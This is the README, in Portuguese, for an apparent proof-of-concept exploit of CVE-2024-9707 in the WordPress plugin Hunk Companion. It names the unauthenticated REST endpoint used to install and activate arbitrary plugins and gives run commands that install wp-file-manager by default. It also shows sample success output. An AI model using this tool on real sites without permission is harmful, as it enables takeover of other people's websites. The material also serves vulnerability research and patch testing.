CVE-2024-9707-Poc 🌐

Descrição

Este script explora a vulnerabilidade no plugin Hunk Companion do WordPress (CVE-2024-9707), permitindo que atacantes não autorizados instalem e ativem plugins arbitrários através do endpoint da API REST /wp-json/hc/v1/themehunk-import.

Funcionalidades

Funcionalidade	Descrição
Detecção de Versão do Plugin	Verifica automaticamente a versão do plugin.
Verificação de Vulnerabilidade	Determina se a versão detectada é vulnerável (<= 1.8.4).
Instalação de Plugin	Explora a vulnerabilidade para instalar e ativar um plugin específico.

🛠️ Instalação e Uso:

Pré-requisitos

Python 3.x instalado no seu sistema.
Bibliotecas Python necessárias: requests, argparse.

Instale as dependências:

pip install requests

Uso:

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Base URL of the WordPress site.
  -p PLUGIN, --plugin PLUGIN
                        Plugin name (default: wp-file-manager).

2- Execute o script

python CVE-2024-9707.py -u <TARGET_URL> [-p <PLUGIN_NAME>]

Exemplo:

python CVE-2024-9707.py -u https://example.com -p wp-file-manager

Saída

Detecção de Versão: Exibe a versão detectada do plugin Hunk Companion.
Status da Vulnerabilidade: Informa se o alvo é vulnerável.
Status do Exploit: Exibe o resultado da tentativa de instalação do plugin.

Saída de Sucesso

Detected version: 1.8.4
The site is vulnerable. Proceeding with exploitation.
Plugin installed and activated successfully.
Response Status: 200
Response Body: "http:\/\/192.168.100.74\/wordpress"

🚫 Aviso Legal

Este script é apenas para fins educacionais. Use-o de forma responsável e apenas em sistemas que você possui ou tem permissão explícita para testar. Os autores não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta. por: Khaled_alenazi | Nxploited

CVE-2024-9707-Poc

Mais Populares